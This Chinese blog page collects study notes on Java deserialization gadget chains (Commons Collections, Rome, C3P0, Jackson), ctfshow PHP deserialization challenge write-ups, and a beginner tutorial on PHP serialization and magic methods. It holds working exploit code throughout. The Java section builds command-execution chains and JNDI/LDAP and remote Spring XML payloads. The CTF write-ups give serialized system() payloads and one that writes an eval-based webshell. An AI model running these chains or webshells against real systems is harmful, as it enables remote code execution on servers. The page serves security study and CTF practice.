admin 发布的文章

JAVA反序列化利用链完整梳理笔记

导读: 本文档是对 Java 反序列化主流利用链(Commons Collections、Rome、C3P0、Jackson等)的深度梳理与重构。去除了原 PDF 杂乱的行号与排版问题,提取核心调用流(Gadget Chains)和 EXP 逻辑,适合网安人员作为实战和复习的参考手册。

[TOC]

一、 Commons Collections 1 (CC1)

  • JDK版本限制: jdk8u65 及以下(后续版本修改了 AnnotationInvocationHandler 的逻辑导致失效)
  • 利用依赖: commons-collections:3.2.1

CC1 存在两个经典入口点,分别是基于 TransformedMapLazyMap

1. 基于 TransformedMap 的入口

入口触发: AnnotationInvocationHandler.readObject()

调用链 (Gadget Chain):

  1. AnnotationInvocationHandler.readObject()
  2. AbstractInputCheckedMapDecorator.MapEntry.setValue()
  3. TransformedMap.checkSetValue()
  4. ChainedTransformer.transform()
  5. InvokerTransformer.transform()
  6. Method.invoke("Runtime.exec", "calc")

核心 EXP 代码:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", 1);
Map<Object, Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);

// 将 o 进行序列化即可触发

2. 基于 LazyMap 的入口

入口触发: AnnotationInvocationHandler.invoke()

相比于 TransformedMap 在修改值时触发,LazyMap 是在调用 get() 获取不到 key 时触发 factory.transform(key)。通过动态代理机制,AnnotationInvocationHandler.invoke() 可以劫持方法调用并触发 get()

核心 EXP 代码:

// ... 前期准备 chainedTransformer 链的代码与上方一致 ...
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> decorated = LazyMap.decorate(map, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorated);
Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = constructor.newInstance(Target.class, newMap);

// 序列化 o 对象

二、 Commons Collections 6 (CC6)

  • 特性: 不受 JDK 版本限制,实战中最常用的 CC 链。
  • 利用依赖: commons-collections:3.2.1

调用链 (Gadget Chain):

  1. java.io.ObjectInputStream.readObject()
  2. java.util.HashSet.readObject() -> java.util.HashMap.put()
  3. java.util.HashMap.hash()
  4. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  5. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  6. org.apache.commons.collections.map.LazyMap.get()
  7. org.apache.commons.collections.functors.ChainedTransformer.transform() ... (后续调用 Runtime.exec)

原理解析: 前端触发点使用了所有环境都有的 HashMap。在 HashMap 反序列化恢复数据计算哈希时,调用 TiedMapEntry.hashCode(),其内部会调用 getValue() 进而触发 LazyMap.get()

核心 EXP 代码:

// ... 构造 chainedTransformer ...
Map<Object, Object> map = new HashMap<>();
// 先用 ConstantTransformer(1) 占位,防止在本地 put 时误触发命令执行
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, null);
map.remove(null); // 清除本地 put 时产生的残留数据

// 利用反射将真正的恶意 ChainedTransformer 塞进 lazymap 的 factory 中
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, chainedTransformer);

// 序列化 hashMap

三、 Commons Collections 3 (CC3)

CC3 不再直接使用 InvokerTransformer 执行反射方法,而是引入了 TemplatesImpl 动态加载字节码的机制。这在过滤了特定的 Runtime.exec 时非常有效。 触发点在于调用 templates.getOutputProperties()templates.newTransformer()

动态加载字节码生成 (Javassist):

ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass maliciousClass = classPool.makeClass("evil");
maliciousClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor constructor = maliciousClass.makeClassInitializer();
constructor.insertBefore("Runtime.getRuntime().exec(\"calc\");");
byte[] classBytes = maliciousClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Test");
Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{classBytes});
Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

配合 TrAXFilter 和 InstantiateTransformer 触发: TrAXFilter 构造中包含了 templates.newTransformer()

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 接着像 CC1/CC6 一样挂载到 LazyMap 上即可

四、 Commons Collections 4 (CC4)

  • 利用依赖: commons-collections4:4.0 (注意是 4 系列版本)

CC4 使用了 CC3 的前半部分(TemplatesImpl),但在链中段使用 TransformingComparator.compare() 替代了 LazyMap.get() 来触发 transform()。前端使用 PriorityQueue 触发。

调用链 (Gadget Chain):

  1. PriorityQueue.readObject()
  2. heapify() -> siftDownUsingComparator()
  3. TransformingComparator.compare()
  4. ChainedTransformer.transform()

核心 EXP 代码:

// templates 对象准备同 CC3...
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, chainedTransformer);
// 序列化 priorityQueue

五、 Commons Collections 2 (CC2)

  • 利用依赖: commons-collections4:4.0

CC2 与 CC4 类似,但它直接使用 InvokerTransformer 来调用 TemplatesImpl.newTransformer(),省去了 ChainedTransformer 的构造。

核心 EXP 代码:

// templates 对象准备同 CC3...
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue<Object> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates); // 必须把 templates 塞进去作为 compare 的对象
priorityQueue.add(2);

Field transformer = TransformingComparator.class.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator, invokerTransformer);
// 序列化 priorityQueue

六、 Commons Collections 5 (CC5)

  • 利用依赖: 回归老版本 commons-collections

使用了 JMX 中的 BadAttributeValueExpException 作为入口类。

调用链 (Gadget Chain):

  1. BadAttributeValueExpException.readObject()
  2. TiedMapEntry.toString() -> getKey() + "=" + getValue()
  3. TiedMapEntry.getValue()
  4. LazyMap.get()
  5. ChainedTransformer.transform()

核心 EXP 代码:

// chainedTransformer 准备同 CC1...
Map<Object, Object> map = new HashMap<>();
Map<Object, Object> lazymap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);

// 序列化 badAttributeValueExpException

七、 Rome反序列化

Rome 是一个用于处理 XML/RSS 数据的库。它的反序列化可以巧妙触发 getter 方法,从而连接到 TemplatesImpl

  • 利用依赖: rome:1.0, javassist:3.21.0-GA

1. HashCode + TemplatesImpl 链

调用逻辑: HashMap.readObject() -> EqualsBean.beanHashCode() -> ToStringBean.toString() -> TemplatesImpl.getOutputProperties()

核心 EXP 代码:

// templates 对象准备同 CC3...
ToStringBean toStringBean = new ToStringBean(Templates.class, templates); // 这里先用一个安全的类占位
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap<Object, Object> map = new HashMap<>();
map.put(equalsBean, "1");

// 反射将 toStringBean 的 _obj 替换为真实的恶意 templates 对象
Field aa = toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean, templates);

// 序列化 map

2. JdbcRowSetImpl 链 (JNDI 注入)

在链尾调用 getter 方法时,如果调用到 JdbcRowSetImpl.getDatabaseMetaData(),其内部会触发 connect(),进而引发 JNDI 注入。

核心 EXP 代码:

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1230/ExportObject"); // 恶意 JNDI 链接

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
// 序列化 hashMap

3. BadAttributeValueExpException 链

利用 BadAttributeValueExpException.readObject() 直接调用 ToStringBean.toString()

八、 C3P0连接池反序列化

C3P0 实现了数据源和 JNDI 绑定,支持加载远程或本地类的漏洞利用。

  • 利用依赖: com.mchange:c3p0:0.9.5.2

1. URLClassLoader 链

调用链: PoolBackedDataSourceBase.readObject() -> ReferenceIndirector.getObject() -> ReferenceableUtils.referenceToObject() -> URLClassLoader 利用 PoolSource 构造指定的 classNameurl,使反序列化时通过 URLClassLoader 去远程加载恶意类。

2. JNDI 注入

JndiRefForwardingDataSource.dereference() 中会直接调用 ctx.lookup(jndiName)。 在 FastJson 中常作为 Payload:

{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource", "jndiName":"ldap://127.0.0.1:1230/remoteObject", "LoginTimeout":"1"}

3. 不出网利用 (BeanFactory + EL表达式)

如果目标不出网(无法加载远程类),可以通过指定 classFactory 为本地已有的 BeanFactory,结合 javax.el.ELProcessor 执行本地 EL 表达式命令。

核心配置 (PoolSource 中的 getReference 逻辑):

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "sentiment=eval"));
ref.add(new StringRefAddr("sentiment", "Runtime.getRuntime().exec(\"calc\")"));
return ref;

九、 JackSon反序列化

Jackson 在处理多态反序列化时(特别是配置不当的情况下),会自动调用属性所属类的无参构造函数和 Setter 方法,甚至特定条件下的 Getter 方法。

漏洞前置条件:

  1. 调用了 ObjectMapper.enableDefaultTyping() 或存在类似配置。
  2. 对要反序列化的类的属性使用了 @JsonTypeInfo 注解并指定了类名标识。

1. TemplatesImpl 利用链 (CVE-2017-7525)

如果在 JSON 载荷中指定对象类型为 TemplatesImpl,并在 JSON 字段中传入了 transletBytecodes (字节码),Jackson 会调用它的 setter 并最终导致命令执行。 (注:高版本 Jackson 中因无法通过 JSON 给私有且无 setter 的 _tfactory 赋值,此链在较新版本中受限)

JSON Payload 示例:

{
  "object": [
    "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    {
      "transletBytecodes": ["<Base64编码的恶意字节码>"],
      "transletName": "evil",
      "outputProperties": {}
    }
  ]
}

2. ClassPathXmlApplicationContext (CVE-2017-17485)

结合 Spring 组件,通过指定反序列化类型为 ClassPathXmlApplicationContext,从而引入恶意的 Spring XML 配置(常用于触发 SpEL 表达式注入)。

JSON Payload 示例:

["org.springframework.context.support.ClassPathXmlApplicationContext", "[http://127.0.0.1:9000/spel.xml](http://127.0.0.1:9000/spel.xml)"]

十、 进阶:toString原生与SignObject二次反序列化

1. 基于 POJONode 的 toString 原生反序列化

Jackson 中的 POJONode.toString() 可以直接触发该对象内部包裹对象的任意 Getter 方法。 调用链: BadAttributeValueExpException.readObject() -> POJONode.toString() -> BaseJsonNode.toString() -> InternalNodeMapper.nodeToString() -> TemplatesImpl.getOutputProperties()

2. SignObject 二次反序列化 bypass

有时候一些类被加入了 WAF/RASP 的反序列化黑名单(比如在第一层 readObject 时拦截)。java.security.SignedObject 包含另一个 Serializable 对象。 它的 getObject() 方法内部会再次创建一个 ObjectInputStream 执行第二次 readObject()

二次反序列化核心代码 (SignedObject 源码):

public Object getObject() throws IOException, ClassNotFoundException {
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject(); // 第二次触发反序列化!
    b.close();
    a.close();
    return obj;
}

我们可以利用 Rome 或 CC 链等能触发任意 getter 方法的逻辑(例如 ToStringBean),去触发 SignedObject.getObject(),从而在系统内部“隐蔽”地发起第二次反序列化,绕过外层的安全检查。

ctfshow php反序列化

web254

image-20260331134541947

这道题考察属性的赋值,要求传入的username、password和ctfshowuser类的username、password相等,这里的账户密码已经写出来了,直接传参拿flag

image-20260331135614368

web255

image-20260331140719352

和上一道题差不多,但它没有自己去new一个ctfShowUser对象,而是让user等于cookie传参的反序列化,所以我们要把ctfShowUser先进行序列化,这里要手动把vip赋值为1

image-20260331142947371

得到payload

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}

然后记得url编码一下防止被截断

image-20260331142925324

web256

image-20260331143338432

这道题和上一道题大体相似,但这里要求username和password不能一致,那我们序列化的时候手动或改一下就行了

image-20260331143656269

得到payload

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:5:"xxxxx";s:5:"isVip";b:1;}

再url编码一下

image-20260331143809166

web257

image-20260331144735703

很基础的一个pop链,这里我们在构建时先把$isVip的值自己变成true,然后再把类中实例化的对象变成可利用的类,最后把backdoor类里的code变成想执行的代码

<?php
class ctfShowUser{
    private $isVip=true;
    private $class;

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code="system('tac flag.php');";
}

$user=new ctfShowUser();
$a=serialize($user);
echo urlencode($a);

得到payload

O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

image-20260331193737217

web258

image-20260331194106766

和上一题差不多,但这道题的属性全变回了public而且多了正则表达式/[oc]:\d+:/i

正则表达式拆解:

  • [oc]:匹配字母 o 或者 c
  • ::匹配一个英文冒号。
  • \d+:匹配一个或多个数字\d 代表数字,+ 代表至少出现一次)。
  • ::再匹配一个英文冒号。
  • i(最后的修饰符):代表不区分大小写(Case-insensitive)。也就是说,大写的 OC 和小写的 oc 都会被匹配。

但这个正则是必须全部连在一起都匹配上了才会返回1,就比如单个O,是不会被匹配上的,必须O:11:这样的格式才会被匹配,那我们修改上一题的payload,然后在O后面的数字前加上+就行了

<?php
class ctfShowUser{
    public $isVip=true;
    public $class;

    public function __construct(){
        $this->class=new backDoor();
    }

}

class backDoor{
    public $code="system('tac flag.php');";
}

$user=new ctfShowUser();
$a=serialize($user);
echo $a;
echo urlencode($a);

得到payload

O%3A%2B11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

image-20260331195800590

web260

image-20260331200307003

这道题只要求序列化后含有ctfshow_i_love_36D就行

<?php
$a='ctfshow_i_love_36D';
var_dump(serialize($a));

会得到

image-20260331200713111

所以我们直接传ctfshow_i_love_36D进去就行了(不一定只有对象才能序列化)

image-20260331200802011

web261

image-20260331201214988

在 PHP 7.4 版本引入了一个新机制:如果一个类里面定义了 __unserialize() 这个魔术方法,PHP 的反序列化引擎就会改变它原本的工作流。

  • 以前的旧流程(如果有 __wakeup): PHP 把字符串里的属性一个一个强行塞进对象里,然后调用 __wakeup() 让你醒醒。
  • 现在的新流程(有了 __unserialize): PHP 解析你的序列化字符串,把它里面包含的属性名和属性值,自动打包成一个关联数组(Array)。然后,PHP 会把这个组装好的数组,直接作为参数传给 __unserialize($data) 里的 $data

举个具体的例子

假设你构造了这样一个普通的序列化字符串(随便举的例子): O:10:"ctfshowvip":2:{s:8:"username";s:5:"admin";s:8:"password";s:4:"1234";}

当 PHP 处理这串数据时,它发现类里有 __unserialize(),它就会在底层做这样一步转换: 把大括号里的内容变成一个数组:

PHP

$data = [
    'username' => 'admin',
    'password' => '1234'
];

紧接着,PHP 就会自动帮你执行: $this->__unserialize($data);

此时,代码里的 $data['username'] 拿到的就是 'admin'$data['password'] 拿到的就是 '1234'

在php7.4版本之后,当类里同时存在__wakeup__unserialize时,会跳过__wakeup

这道题的__invoke是无法利用的,我们要用file_put_contents写入文件

这里用的是==的弱比较,0x36d是877,所以只要是877.abc这类都能被比较,因为它会从左往右提取到不是数字的位置,然后再利用前面的数字进行比较,所以我们构造代码

<?php
class ctfshowvip{
    public $username='877.php';
    public $password='<?php eval($_POST[1]);?>';

}
$user = new ctfshowvip(); 
$a = serialize($user);
echo urlencode($a);

得到payload

O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D

image-20260331204243565

image-20260331204429627

php反序列化

1.基础知识

1.1 序列化简介

序列化就是把一个对象变成可以传输的字符串,目的就是为了方便传输。
反序列化和序列化是两个正好相反的过程。

通俗理解:

可以把“序列化”理解为运输大型设备(比如汽车或机器)

  • 一个完整对象就像一台整车或大型机械设备
  • 直接运输体积大、成本高、不方便
  • 序列化把设备拆解成标准化零件,并记录结构信息(字符串)
  • 传输把这些“零件数据”运输到目标位置
  • 反序列化根据“说明书”重新组装,还原成原始设备(对象)

也就是说:

**序列化 = 拆解 + 记录结构
反序列化 = 按规则重组还原**

序列化的目的是方便数据的传输和存储,常见的比如 JSON,就是为了数据传递的方便性。

序列化和反序列化本身并不存在问题,但关键风险在于:

“组装说明书如果是攻击者伪造的,会发生什么?”

当反序列化的数据可被用户控制时,攻击者可以:

  • 构造恶意“零件清单 + 组装说明”(序列化字符串)
  • 诱导系统在反序列化时进行“错误组装”
  • 生成非预期对象结构
  • 触发对象中的魔术方法
  • 最终执行攻击者预埋的恶意逻辑

一句话总结:

反序列化漏洞的本质 = 按攻击者提供的“说明书”去组装对象

1.2 PHP 面向对象

面向对象(Object-Oriented,简称 OO)是一种编程思想,它将数据(属性)与操作数据的方法(行为)封装在一起,形成“对象”,并通过对象之间的交互来完成程序功能。

在面向对象编程(Object-Oriented Programming,OOP)中:

对象 = 属性(数据) + 方法(行为)

可以参考菜鸟教程里PHP的面向对象介绍:https://www.runoob.com/php/php-oop.html

1.2.1为什么要有面向对象

相比过程式编程,OOP 的核心优势在于:

  • 封装(Encapsulation):隐藏内部实现,只暴露必要接口
  • 继承(Inheritance):复用已有代码
  • 多态(Polymorphism):同一接口不同实现
  • 可维护性强:结构清晰,适合大型项目

对于我们后面要讲的反序列化漏洞来说:

“对象结构 + 方法逻辑”正是漏洞利用的基础

1.2.2 对象的直观理解

在现实世界中,我们接触的事物都可以抽象为对象,例如:

  • 电脑
  • 汽车
  • 动物

每个对象都可以拆分为三部分:

1.2.2.1 属性(Property)

描述对象的特征,例如:

  • 颜色
  • 年龄
  • 名字

在代码中对应:变量

1.2.2.2 行为(Method)

对象可以执行的操作,例如:

  • 开机 / 关机
  • 吃 / 跑
  • 打印信息

在代码中对应:函数

1.2.2.3 对象标识(Identity)

用于区分不同对象,即使属性相同:

  • 两只狗都是黑色,但不是同一只
  • 两个用户数据结构相同,但用户不同

在代码中体现为:不同实例

img

img

1.2.3 类与对象的关系

class Animal {
    public $color;

    function run(){
        echo "running";
    }
}
  • 类(Class):抽象模板(比如“动物”)
  • 对象(Object):类的具体实例(比如“一只狗”)
$dog = new Animal();
$dog->color = "black";
$dog->run();

关系总结:

**类 = 图纸
对象 = 根据图纸造出来的实体**

1.2.4 为什么这和反序列化有关

在反序列化过程中:

  • 攻击者并不是在传普通数据
  • 而是在“构造一个对象”

也就是说:

攻击者可以控制对象的属性(数据)
而程序中早已定义好了方法(行为)

当这两者结合时,就可能触发:

  • 魔术方法(如 __destruct()
  • 非预期逻辑执行
  • 甚至代码执行

1.3 序列化与反序列化

在理解漏洞之前,先看最基础的序列化与反序列化过程。

1.3.1 JSON序列化

首先看 json_encode()json_decode()

$book = array(
    'Book1' => 'Harry Potter',
    'Book2' => 'MR.Bean',
    'Book3' => 'Python Cookbook',
    'Book4' => 'History'
);

$json = json_encode($book);
echo $json;

输出:

{"Book1":"Harry Potter","Book2":"MR.Bean","Book3":"Python Cookbook","Book4":"History"}

这里本质是:

  • 将数组 → 转换为字符串
  • 用于传输或存储

关键点:

JSON 只是一种数据格式,不会涉及对象行为,因此通常不会直接导致代码执行

可以把它当作“安全对照组”。

1.3.2 为什么需要对象序列化

假设我们定义了一个类:

class DemoClass
{
    public $name = "Eagle";
    public $sex = "man";
    public $age = 7;

    function eat(){
        echo $this->name . "吃饭";
    }
}

当对象被实例化后,在程序运行过程中属性可能被修改:

$example = new DemoClass();
$example->name = "haha";
$example->sex = "woman";
$example->age = 18;

此时如果我们希望:

  • 保存当前对象状态(如缓存、Session)
  • 在后续请求中继续使用

如果一直保留对象在内存中,会带来资源消耗问题。

因此引入:

将对象“序列化”为字符串 → 需要时再“反序列化”恢复

1.3.3 PHP对象序列化

echo serialize($example);

输出:

O:9:"DemoClass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}

image-20260327104754517

结构解析(理解即可):

片段含义
OObject
9类名长度
3属性数量
sstring
iinteger

本质:

对象被拆解为:类名 + 属性 + 属性值

1.3.4 反序列化(关键危险点开始出现)

$obj = unserialize('O:9:"DemoClass":3:{s:4:"name";s:4:"haha";s:3:"sex";s:5:"woman";s:3:"age";i:18;}');

echo $obj->name;
$obj->eat();

输出:

haha
haha吃饭

image-20260327105007205

说明:

  • 对象被完整恢复
  • 类的方法依然可调用(方法不参与序列化,但存在于类定义中)

但是如果我能够修改或者控制序列化后的字符串,比如把name的值改为ming,那反序列化话后name值就被改变了

image-20260327105118989

1.3.5 不同属性权限的存储方式(利用关键)

class DemoClass
{
    public $name;
    protected $sex = "man";
    private $age = 18;
}

序列化结果:

image-20260327105714882

O:9:"DemoClass":3:{
s:4:"name";s:4:"haha";
s:6:"\0*\0sex";s:3:"man";
s:14:"\0DemoClass\0age";i:18;
}

规则总结:

类型表示方式
publicname
protected\0*\0name
private\0类名\0name

注意:

  • \0NULL 字节
  • 实际攻击中通常写作 %00
  • 攻击者可以伪造这些字段

public / protected / private对比总结

类型类内部子类外部
public
protected
private

这点非常关键:

即使是 private / protected 属性,在反序列化时也可以被攻击者控制

攻击者可以直接构造:

s:14:"\0DemoClass\0age";i:999;

强行修改 private 属性

需要注意的是:serialize() 不保存方法,只保存数据,但 unserialize() 会恢复“对象语义”

也就是说:

  • 方法来自类定义
  • 数据来自用户输入(如果可控)
  • 二者组合 → 就可能产生危险行为

1.3.6 小结

当代码中存在如下逻辑:

$data = $_GET['xxx'];
unserialize($data);

并且:

  • 输入可控
  • 存在类定义

那么攻击者就可以:

  1. 构造恶意序列化字符串
  2. 控制对象属性(包括 private)
  3. 生成“非预期对象”
  4. 为后续魔术方法利用打基础

    一句话总结:

反序列化漏洞的第一步 = 攻击者可控地“构造对象结构”

1.4 魔术方法

魔术方法(Magic Methods)是 PHP 中一类以 __ 开头的特殊方法,它们会在特定场景下自动触发执行

关键点:

反序列化漏洞的本质,就是利用“自动触发”的魔术方法执行攻击代码

1.4.1 常见魔术方法

1.4.1.1 __construct() —— 构造函数
__construct()

作用:在对象被创建时自动调用,用于初始化对象。

class A {
    function __construct(){
        echo "初始化";
    }
}

$a = new A(); // 自动调用

常见用途:

  • 初始化属性
  • 建立数据库连接
  • 设置默认状态

安全角度:

一般不是反序列化的直接利用点

因为:

  • unserialize() 不会触发 __construct()
1.4.1.2 __destruct() —— 析构函数(重点、高危)
__destruct()

作用:在对象被销毁时自动调用,例如:

  • 脚本执行结束
  • 对象被 unset
function __destruct(){
    echo "对象被销毁";
}

常见用途:

  • 关闭资源(数据库、文件)
  • 日志记录
  • 清理操作

安全角度(非常重要)

反序列化漏洞最常见的触发点

原因:

  • 不需要手动调用
  • 几乎一定会执行(请求结束)

典型利用:

function __destruct(){
    eval($this->cmd);
}
1.4.1.3 __toString() —— 对象转字符串
__toString()

作用:当对象被当作字符串使用时自动调用:

echo $obj;

要求:

  • 必须返回字符串
  • 否则报错
function __toString(){
    return "hello";
}

常见用途:

  • 打印对象信息
  • 日志输出

安全角度:

当对象被 echo / 拼接字符串时可触发

👉 常见利用场景:

  • echo $obj
  • "test".$obj
1.4.1.4 __sleep() —— 序列化前触发
__sleep()

作用:在 serialize() 时自动调用

function __sleep(){
    return ['name']; // 指定要序列化的属性
}

常见用途:

  • 控制哪些属性被序列化
  • 清理不需要的数据

可以这样类比:

  • serialize = 拆机器准备运输
  • __sleep() = 决定哪些零件要带走
原机器:CPU + 硬盘 + 显卡 + 电源

__sleep() 说:
只带 CPU 和硬盘

→ 运输时就只打包这两个

安全角度:

一般不是利用点,但会影响序列化内容
1.4.1.5 __wakeup() —— 反序列化触发(重点、高危)
__wakeup()

作用:在 unserialize() 时自动调用

function __wakeup(){
    echo "反序列化触发";
}

常见用途:

  • 重新连接数据库
  • 恢复资源状态

安全角度(核心利用点)

反序列化时第一时间触发

如果里面有危险代码:

function __wakeup(){
    system($this->cmd);
}

攻击者可控 $cmd → 直接 RCE

1.4.1.6 __get() / __set() —— 属性访问拦截
__get($name)
__set($name, $value)

作用:当访问或设置不存在/不可访问属性时触发,也就是

包括三种情况:

  1. ❌ 属性不存在
  2. 🔒 private
  3. 🔒 protected
$obj->test;      // 触发 __get
$obj->test = 1;  // 触发 __set

把对象当一个机器:

正常情况

$obj->name
= 直接拿零件

__get()

$obj->name
↓
发现这个零件不能直接拿
↓
去找“管理员(__get)”
↓
管理员决定给不给你

__set()

$obj->name = "xxx"
↓
不能直接装
↓
交给管理员(__set)
↓
管理员决定装哪里

安全角度

常用于 POP链中“跳板”

示例链路:

class A {
    public $b;

    function __destruct(){
        echo $this->b->name;
    }
}

class B {
    function __get($key){
        system("whoami");
    }
}

攻击流程

1. 反序列化得到 A 对象
2. 脚本结束 → __destruct()
3. 执行:$this->b->name
4. name 不存在 → 触发 B::__get()
5. 执行 system("whoami")

成功 RCE!

1.4.1.7 __invoke() —— 对象当函数调用
__invoke()

作用:当对象被当函数调用时触发:

$obj();

安全角度

可作为“执行入口”,但触发条件较特殊
1.4.1.8 __call() / __callStatic() —— 方法调用拦截
__call($name, $args)
__callStatic($name, $args)

作用:调用不存在的方法时触发

$obj->test();     // __call
A::test();        // __callStatic

常见用途:

  • 动态方法处理
  • 框架底层(如 Laravel)

安全角度:

常用于 构造调用链(POP链关键节点)

1.4.2 方法总结

1.4.2.1 高危
方法触发时机利用价值
__destruct()对象销毁时(请求结束)⭐⭐⭐⭐⭐(最常见)
__wakeup()unserialize()⭐⭐⭐⭐
__toString()对象被当字符串使用⭐⭐⭐⭐
1.4.2.2 中等相关
方法触发时机
__construct()new 对象时
__sleep()serialize 时
__invoke()对象当函数调用
__call()调用不存在方法
1.4.2.3 辅助
方法触发时机
__get() / __set()访问不存在属性
__callStatic()调用不存在静态方法

1.4.3 执行流程

<?php
class Test{
    public function __construct(){
        echo 'construct run<br>';
    }

    public function __destruct(){
        echo 'destruct run<br>';
    }

    public function __toString(){
        echo 'toString run<br>';
        return 'str';
    }

    public function __sleep(){
        echo 'sleep run<br>';
        return array();
    }

    public function __wakeup(){
        echo 'wakeup run<br>';
    }
}

echo 'new了一个对象,对象被创建,执行__construct<br>';
$test = new Test();

echo 'serialize了一个对象,对象被序列化,先执行__sleep,再序列化<br>';
$sTest = serialize($test);

echo '__wakeup(): unserialize()会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源<br>';

?>

// new了一个对象,对象被创建,执行__construct
// construct run
// serialize了一个对象,对象被序列化,先执行__sleep,再序列化
// sleep run
// __wakeup(): unserialize()会检查是否存在一个__wakeup()方法,如果存在,则会先调用__wakeup方法,预先准备对象需要的资源
// destruct run

执行过程:

new 对象        → __construct
serialize       → __sleep
unserialize     → __wakeup
脚本结束        → __destruct

结论:

**反序列化时一定会触发 __wakeup()
请求结束时几乎一定会触发 __destruct()**

1.4.4 为什么 __destruct() 最危险

来看一个简化案例:

class A
{
    var $a = "a";

    function __destruct()
    {
        echo "销毁时调用--";
        echo $this->a;
    }
}

攻击输入:

$ser_test = 'O:1:"A":1:{s:1:"a";s:4:"test";}';
$unser = unserialize($ser_test);

执行流程:

  1. 反序列化生成对象
